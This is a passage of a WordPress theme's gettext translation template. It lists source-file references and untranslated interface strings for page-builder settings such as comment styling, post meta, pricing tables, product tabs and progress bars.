msgid "Author Avatar Width"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:120
msgid "Author Avatar Borders Radius"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:148
msgid "Comment Date Icon Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:155
msgid "Color for Comment Content"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:162
msgid "Reply Button Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:169
msgid "Reply Button Hover Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:176
msgid "General Borders Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:183
msgid "Comments List Spacing Top"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:191
#: inc/template-builder/single-elements/comments.php:331
msgid "Comment Form"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:226
msgid "Submit Background Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:233
msgid "Submit Background Hover Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:240
msgid "Submit Text Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:247
msgid "Submit Text Hover Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:254
msgid "Cookie Save Notice Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:261
msgid "GDPR Message Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_content/settings.php:11
msgid "Post Builder - Content"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_content/settings.php:17
#: inc/template-builder/single-elements/content.php:41
#: inc/template-builder/single-elements/smartlists.php:160
msgid "Blockquote Style"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_content/settings.php:49
msgid "H1 Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_content/settings.php:56
msgid "H2 Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_content/settings.php:63
msgid "H3 Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_content/settings.php:70
msgid "H4 Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_content/settings.php:77
msgid "H5 Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_content/settings.php:84
msgid "H6 Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured/settings.php:11
msgid "Post Builder - Featured Image"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured/settings.php:31
#: inc/template-builder/single-elements/featured.php:55
msgid "Disable Autoplay on Slider"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured/settings.php:37
#: inc/template-builder/single-elements/featured.php:62
msgid "Show Image Caption"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured/settings.php:43
#: inc/template-builder/single-elements/featured.php:68
msgid "Disable Image Lightbox"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured/settings.php:50
#: inc/template-builder/single-elements/featured.php:88
msgid "Caption Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured/settings.php:57
msgid "Caption Background Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:11
msgid "Post Builder - Featured Overlay"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:51
#: inc/template-builder/single-elements/featured-overlay.php:60
msgid "Image Mobile Size"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:62
#: inc/template-builder/single-elements/featured-overlay.php:66
msgid "Image Ratio (in %)"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:71
#: inc/template-builder/single-elements/featured-overlay.php:130
msgid "Overlay Content"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:103
#: inc/template-builder/single-elements/featured-overlay.php:178
msgid "Hide Breadcrumb"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:111
msgid "Hide Title"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:119
msgid "Hide Sub Title"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:127
#: inc/template-builder/single-elements/featured-overlay.php:195
msgid "Hide Post Categories"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:135
#: inc/template-builder/single-elements/featured-overlay.php:200
msgid "Hide Post Meta"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:153
msgid "Post Meta Text Align"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:164
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:28
#: inc/template-builder/single-elements/meta.php:63
msgid "Hide Meta Label Text"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:171
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:35
#: inc/js_composer/shortcodes/pc_single_meta_field/settings.php:66
#: inc/template-builder/single-elements/meta.php:68
msgid "Justify Align?"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:178
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:42
msgid "Remove Divider Character"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:185
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:49
msgid "Spacing Between Meta"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:192
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:56
msgid "Hide Author"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:199
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:63
msgid "Hide Author Avatar"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:206
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:70
#: inc/template-builder/single-elements/featured-overlay.php:272
#: inc/template-builder/single-elements/meta.php:114
msgid "Author Borders Radius"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:213
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:77
#: inc/template-builder/single-elements/featured-overlay.php:280
#: inc/template-builder/single-elements/meta.php:122
msgid "Author Spacing"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:227
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:91
#: inc/template-builder/single-elements/featured-overlay.php:264
#: inc/template-builder/single-elements/meta.php:137
msgid "Hide Post Author Icon?"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:241
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:105
msgid "Hide Post Date Icon"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:248
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:112
msgid "Hide Post Comment"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:255
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:119
msgid "Hide Post Comment Icon"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:262
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:126
msgid "Hide Post View"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:269
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:133
msgid "Hide Post View Icon"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:276
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:140
msgid "Hide Post Reading Time"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:283
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:147
msgid "Hide Post Reading Time Icon"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:293
#: inc/js_composer/shortcodes/small_list/settings.php:538
msgid "General Style"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:309
msgid "Content Background Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:333
msgid "Content Border Radius"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:341
msgid "Overlay Align"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:355
#: inc/template-builder/single-elements/featured-overlay.php:742
msgid "Breadcrumb Style"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:363
msgid "Breadcrumb Text Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:371
msgid "Breadcrumb Text Hover Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:381
msgid "Categories Style"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:389
#: inc/template-builder/single-elements/featured-overlay.php:773
msgid "Category Style"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:403
msgid "Category Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:411
msgid "Category Link Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:419
msgid "Category Link Hover Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:427
msgid "Category Background Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:435
msgid "Category Background Hover Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:443
msgid "Category Border Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:451
msgid "Category Border Hover Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:459
msgid "Category Item Border"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:467
msgid "Category Border Style"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:485
msgid "Category Border Radius"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:493
msgid "Remove Category Divider Character"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:503
msgid "Title & Subtitle Style"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:519
msgid "Post Sub Title Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:563
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:190
msgid "Author Text Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:569
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:196
msgid "Author Link Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:575
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:202
msgid "Author Link Hover Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:581
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:208
#: inc/js_composer/shortcodes/small_list/settings.php:586
msgid "Post Date Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:587
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:214
msgid "Post Comment Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:593
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:220
msgid "Post View Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:599
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:226
msgid "Post Reading Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_meta/settings.php:11
msgid "Post Builder - Meta"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_meta_field/settings.php:11
msgid "Post Builder - Meta Field"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_meta_field/settings.php:17
#: inc/template-builder/single-elements/custom-field.php:41
msgid "Meta Source"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_meta_field/settings.php:59
msgid "Meta Label Text"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_meta_field/settings.php:108
msgid "Meta Background Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_postspagination/settings.php:11
msgid "Post Builder - Posts Pagination"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_postspagination/settings.php:17
#: inc/template-builder/single-elements/postpagination.php:54
msgid "Show Post Navigation Thumbnail?"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_postspagination/settings.php:23
msgid "Thumbnail Size"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_postspagination/settings.php:31
msgid "Color for Small Text Description"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_postspagination/settings.php:38
#: inc/js_composer/shortcodes/pc_single_relatedposts/settings.php:110
msgid "Color for Post Title"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_relatedposts/settings.php:17
#: inc/template-builder/single-elements/relatedpost.php:42
msgid "Related Heading Text"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_relatedposts/settings.php:29
#: inc/template-builder/single-elements/relatedpost.php:67
msgid "Number of Related Posts"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_relatedposts/settings.php:35
#: inc/template-builder/single-elements/relatedpost.php:92
msgid "Order Related Posts By"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_relatedposts/settings.php:63
#: inc/template-builder/single-elements/relatedpost.php:126
msgid "Title Length"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_relatedposts/settings.php:69
#: inc/template-builder/single-elements/relatedpost.php:134
msgid "Related Posts By"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_relatedposts/settings.php:117
msgid "Hover Color for Post Title"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_relatedposts/settings.php:138
msgid "Color for Post Date"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_relatedposts/settings.php:160
msgid "Custom Featured Image Ratio"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_share/settings.php:11
msgid "Post Builder - Social Share"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_share/settings.php:17
#: inc/template-builder/single-elements/share.php:48
msgid "Share Style"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_share/settings.php:48
#: inc/template-builder/single-elements/share.php:60
msgid "Hide Comment?"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_share/settings.php:54
msgid "Hide Label?"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_share/settings.php:60
#: inc/template-builder/single-elements/share.php:73
msgid "Hide Post Like?"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_share/settings.php:66
#: inc/template-builder/single-elements/share.php:78
msgid "Social Align"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_share/settings.php:92
msgid "Label Icon Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_share/settings.php:99
msgid "Label Borders Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_share/settings.php:106
msgid "Label Label Background Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_share/settings.php:113
msgid "Like Button Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_share/settings.php:120
msgid "Like Button Borders Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_share/settings.php:134
msgid "Social Hover Background Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_share/settings.php:162
msgid "Social Hover Borders Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_share/settings.php:190
msgid "Plus Button Background Hover Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_subtitle/settings.php:11
msgid "Post Builder - Sub Title"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_subtitle/settings.php:17
#: inc/js_composer/shortcodes/pc_single_title/settings.php:17
#: inc/template-builder/single-elements/subtitle.php:41
#: inc/template-builder/single-elements/title.php:41
msgid "Title Markup"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_subtitle/settings.php:50
msgid "Custom Font Family for Post Sub Title"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_taxonomy/settings.php:23
msgid "Post Builder - Taxonomy"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_taxonomy/settings.php:49
#: inc/template-builder/single-elements/taxonomy.php:382
msgid "Label Style"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_taxonomy/settings.php:73
msgid "Show Taxonomy as Text"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_taxonomy/settings.php:80
msgid "Show Label Text"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_taxonomy/settings.php:87
msgid "Label Text"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_taxonomy/settings.php:102
msgid "Term Hover Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_taxonomy/settings.php:116
msgid "Term Background Hover Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_taxonomy/settings.php:130
msgid "Term Border Hover Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_taxonomy/settings.php:137
msgid "Term Item Borders Radius"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_title/settings.php:11
msgid "Post Builder - Title"
msgstr ""

#: inc/js_composer/shortcodes/pintersest/settings.php:24
msgid "Numbers image to show:"
msgstr ""

#: inc/js_composer/shortcodes/pintersest/settings.php:30
msgid "Cache life time ( unit is seconds ):"
msgstr ""

#: inc/js_composer/shortcodes/popular_cat/settings.php:60
msgid "Popular cats"
msgstr ""

#: inc/js_composer/shortcodes/popular_cat/settings.php:104
msgid "Popular Cat"
msgstr ""

#: inc/js_composer/shortcodes/popular_cat/settings.php:105
msgid "Popular Cat Block"
msgstr ""

#: inc/js_composer/shortcodes/posts_slider/settings.php:9
msgid "Widget Posts Slider"
msgstr ""

#: inc/js_composer/shortcodes/posts_slider/settings.php:10
msgid "Posts Slider Block"
msgstr ""

#: inc/js_composer/shortcodes/posts_slider/settings.php:58
msgid "Disable lazyload?"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:12
msgid "Pricing Table Block"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:17
#: inc/woocommerce/modules/swatches.php:68 inc/woocommerce/woocommerce.php:117
msgid "Use image"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:34
msgid "Image width"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:45
msgid "Image height"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:79
msgid "Enter the pricing name"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:85
msgid "Enter short description"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:91
msgid "Enter the price"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:97
msgid "Enter the price unit for this package. e.g. per month"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:105
msgid "Create the features list using un-ordered list elements."
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:111
msgid "Enter call to action button text"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:119
msgid "Select / enter the link for call to action button"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:140
msgid "Pricing title margin bottom"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:150
msgid "Pricing subtitle margin bottom"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:160
msgid "Pricing margin bottom"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:170
msgid "Price unit margin bottom"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:180
msgid "Features margin top"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:190
msgid "Features margin bottom"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:257
#: inc/js_composer/shortcodes/pricing_table/settings.php:308
msgid "Font Size for Pricing Title"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:275
msgid "Background color for pricing item"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:282
msgid "Border color for pricing item"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:293
#: inc/js_composer/shortcodes/pricing_table/settings.php:300
msgid "Pricing Subtitle"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:334
msgid "Price color"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:342
#: inc/js_composer/shortcodes/pricing_table/settings.php:409
#: inc/js_composer/shortcodes/pricing_table/settings.php:478
msgid "Font Size for Pricing"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:368
msgid "Price Unit color"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:376
msgid "Font Size for Price Unit"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:401
msgid "Features color"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:435
msgid "Button background color"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:442
msgid "Button border color"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:449
msgid "Button text color"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:456
msgid "Button background hover color"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:463
msgid "Button border hover color"
msgstr ""

#: inc/js_composer/shortcodes/pricing_table/settings.php:470
msgid "Button text hover color"
msgstr ""

#: inc/js_composer/shortcodes/product/settings.php:10
msgid "Show the latest product"
msgstr ""

#: inc/js_composer/shortcodes/product/settings.php:24
msgid "Recent Viewed"
msgstr ""

#: inc/js_composer/shortcodes/product/settings.php:166
#: inc/js_composer/shortcodes/product_tabs/settings.php:114
#: inc/js_composer/shortcodes/team_member/settings.php:88
#: inc/js_composer/shortcodes/testimonails/settings.php:73
msgid "Tablet Columns"
msgstr ""

#: inc/js_composer/shortcodes/product/settings.php:181
#: inc/js_composer/shortcodes/product_tabs/settings.php:129
#: inc/js_composer/shortcodes/team_member/settings.php:102
#: inc/js_composer/shortcodes/testimonails/settings.php:99
msgid "Mobile Columns"
msgstr ""

#: inc/js_composer/shortcodes/product/settings.php:204
#: inc/js_composer/shortcodes/product_tabs/settings.php:152
msgid "Paginations"
msgstr ""

#: inc/js_composer/shortcodes/product/settings.php:229
#: inc/js_composer/shortcodes/product_tabs/settings.php:179
msgid "Show Next Previous Button"
msgstr ""

#: inc/js_composer/shortcodes/product/settings.php:241
#: inc/js_composer/shortcodes/product_tabs/settings.php:191
msgid "Show Pagination Control"
msgstr ""

#: inc/js_composer/shortcodes/product/settings.php:265
#: inc/js_composer/shortcodes/product_tabs/settings.php:215
msgid "Slider Autoplay"
msgstr ""

#: inc/js_composer/shortcodes/product/settings.php:277
#: inc/js_composer/shortcodes/product_tabs/settings.php:227
msgid "Carousel Speed"
msgstr ""

#: inc/js_composer/shortcodes/product/settings.php:298
#: inc/js_composer/shortcodes/product_tabs/settings.php:247
#: inc/woocommerce/modules/metaboxes.php:102
msgid "Product Style"
msgstr ""

#: inc/js_composer/shortcodes/product/settings.php:329
#: inc/js_composer/shortcodes/product_tabs/settings.php:278
msgid "Sale Countdown"
msgstr ""

#: inc/js_composer/shortcodes/product/settings.php:339
#: inc/js_composer/shortcodes/product_tabs/settings.php:288
msgid "Stock Progress Bar"
msgstr ""

#: inc/js_composer/shortcodes/product/settings.php:349
msgid "Product Category"
msgstr ""

#: inc/js_composer/shortcodes/product/settings.php:359
msgid "Product Rating"
msgstr ""

#: inc/js_composer/shortcodes/product/settings.php:370
msgid "Product Style & Color"
msgstr ""

#: inc/js_composer/shortcodes/product/settings.php:384
msgid "Product Title Font Size"
msgstr ""

#: inc/js_composer/shortcodes/product/settings.php:398
msgid "Product Category Font Size"
msgstr ""

#: inc/js_composer/shortcodes/product/settings.php:412
msgid "Product Price Font Size"
msgstr ""

#: inc/js_composer/shortcodes/product/settings.php:461
msgid "Pagination Current Background Color"
msgstr ""

#: inc/js_composer/shortcodes/product/settings.php:475
msgid "Pagination View More Hover Background Color"
msgstr ""

#: inc/js_composer/shortcodes/product_brand/settings.php:9
msgid "Product Brand"
msgstr ""

#: inc/js_composer/shortcodes/product_brand/settings.php:10
msgid "Show the product brand list"
msgstr ""

#: inc/js_composer/shortcodes/product_brand/settings.php:47
msgid "Hide Empty"
msgstr ""

#: inc/js_composer/shortcodes/product_brand/settings.php:57
msgid "Brand"
msgstr ""

#: inc/js_composer/shortcodes/product_brand/settings.php:71
msgid "Alternate"
msgstr ""

#: inc/js_composer/shortcodes/product_tab/settings.php:4
msgid "Products tab"
msgstr ""

#: inc/js_composer/shortcodes/product_tab/settings.php:11
#: inc/js_composer/shortcodes/product_tabs/settings.php:11
msgid "Product tabs for your marketplace"
msgstr ""

#: inc/js_composer/shortcodes/product_tab/settings.php:16
msgid "Tab Title"
msgstr ""

#: inc/js_composer/shortcodes/product_tab/settings.php:25
msgid "Icon for the tab"
msgstr ""

#: inc/js_composer/shortcodes/product_tab/settings.php:27
msgid "Select icon from media library."
msgstr ""

#: inc/js_composer/shortcodes/product_tabs/settings.php:3
msgid "Product Tabs"
msgstr ""

#: inc/js_composer/shortcodes/product_tabs/settings.php:25
msgid "Icon image"
msgstr ""

#: inc/js_composer/shortcodes/product_tabs/settings.php:34
msgid "Images size"
msgstr ""

#: inc/js_composer/shortcodes/product_tabs/settings.php:44
msgid "Tabs color"
msgstr ""

#: inc/js_composer/shortcodes/product_tabs/settings.php:55
msgid "Alternative"
msgstr ""

#: inc/js_composer/shortcodes/product_tabs/settings.php:158
msgid "Links Number"
msgstr ""

#: inc/js_composer/shortcodes/product_tabs/settings.php:298
msgid "Hide Hot Label ?"
msgstr ""

#: inc/js_composer/shortcodes/product_tabs/settings.php:308
msgid "Hide New Label ?"
msgstr ""

#: inc/js_composer/shortcodes/product_tabs/settings.php:318
msgid "Hide Sale Label ?"
msgstr ""

#: inc/js_composer/shortcodes/product_tabs/settings.php:325
msgid "Product Item Vertical Spacing"
msgstr ""

#: inc/js_composer/shortcodes/product_tabs/settings.php:336
msgid "Product Item Horizontal Spacing"
msgstr ""

#: inc/js_composer/shortcodes/progress_bar/settings.php:10
#: inc/js_composer/shortcodes/progress_bar/settings.php:114
msgid "Progress Bar"
msgstr ""

#: inc/js_composer/shortcodes/progress_bar/settings.php:11
msgid "Progress Bar Block"
msgstr ""

#: inc/js_composer/shortcodes/progress_bar/settings.php:17
msgid "Values"
msgstr ""

#: inc/js_composer/shortcodes/progress_bar/settings.php:19
msgid "Enter values for graph - value, title and color."
msgstr ""

#: inc/js_composer/shortcodes/progress_bar/settings.php:22
msgid "Development"
msgstr ""

#: inc/js_composer/shortcodes/progress_bar/settings.php:30
msgid "Marketing"
msgstr ""

#: inc/js_composer/shortcodes/progress_bar/settings.php:39
msgid "Enter text used as title of bar."
msgstr ""

#: inc/js_composer/shortcodes/progress_bar/settings.php:46
msgid "Enter value of bar."
msgstr ""

#: inc/js_composer/shortcodes/progress_bar/settings.php:53
msgid "Select custom single bar background color."
msgstr ""

#: inc/js_composer/shortcodes/progress_bar/settings.php:59
msgid "Select custom single bar text color."
msgstr ""

#: inc/js_composer/shortcodes/progress_bar/settings.php:69
msgid "Custom height for bar"
msgstr ""

#: inc/js_composer/shortcodes/progress_bar/settings.php:78
msgid "Custom margin top for bar"
msgstr ""

#: inc/js_composer/shortcodes/progress_bar/settings.php:87
msgid "Custom margin bottom for bar"
msgstr ""

#: inc/js_composer/shortcodes/progress_bar/settings.php:106
msgid "Add animation (Note: visible only with striped bar)."
msgstr ""

#: inc/js_composer/shortcodes/progress_bar/settings.php:121
msgid "Bar custom text color"
msgstr ""

#: inc/js_composer/shortcodes/progress_bar/settings.php:123
msgid "Select custom text color for bars."
msgstr ""

#: inc/js_composer/shortcodes/progress_bar/settings.php:128
msgid "Bar process run custom background color"
msgstr ""

#: inc/js_composer/shortcodes/progress_bar/settings.php:130
#: inc/js_composer/shortcodes/progress_bar/settings.php:137
msgid "Select custom background color for bars."
msgstr ""

#: inc/js_composer/shortcodes/progress_bar/settings.php:135
msgid "Bar custom background color"
msgstr ""

#: inc/js_composer/shortcodes/recent_posts/settings.php:10
msgid "Widget Recent/Popular Posts"
msgstr ""

#: inc/js_composer/shortcodes/recent_posts/settings.php:11
msgid "Recent Posts Block"
msgstr ""

#: inc/js_composer/shortcodes/recent_posts/settings.php:47
#: inc/js_composer/soledad_vc.php:461 inc/js_composer/soledad_vc.php:991
#: inc/js_composer/soledad_vc.php:1695
msgid "Image Ratio.Unit is %. E.g: 50"
msgstr ""

#: inc/js_composer/shortcodes/recent_posts/settings.php:107
msgid "Hide thumbnail?"
msgstr ""

#: inc/js_composer/shortcodes/recent_posts/settings.php:163
msgid "Show author name?"
msgstr ""

#: inc/js_composer/shortcodes/recent_posts/settings.php:217
msgid "Hide Border at The Bottom?"
msgstr ""

#: inc/js_composer/shortcodes/recent_posts/settings.php:237
msgid "Custom Rows Gap Between Post Items"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:4
msgid "Simple List"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:8
msgid "Display a list with icon"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:16
msgid "General settings"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:22
msgid "List items font size"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:25
msgid "Default (14px)"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:26
msgid "Medium (16px)"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:27
msgid "Large (18px)"
msgstr ""

#: inc/js_composer/shortcodes/simple_list/settings.php:28
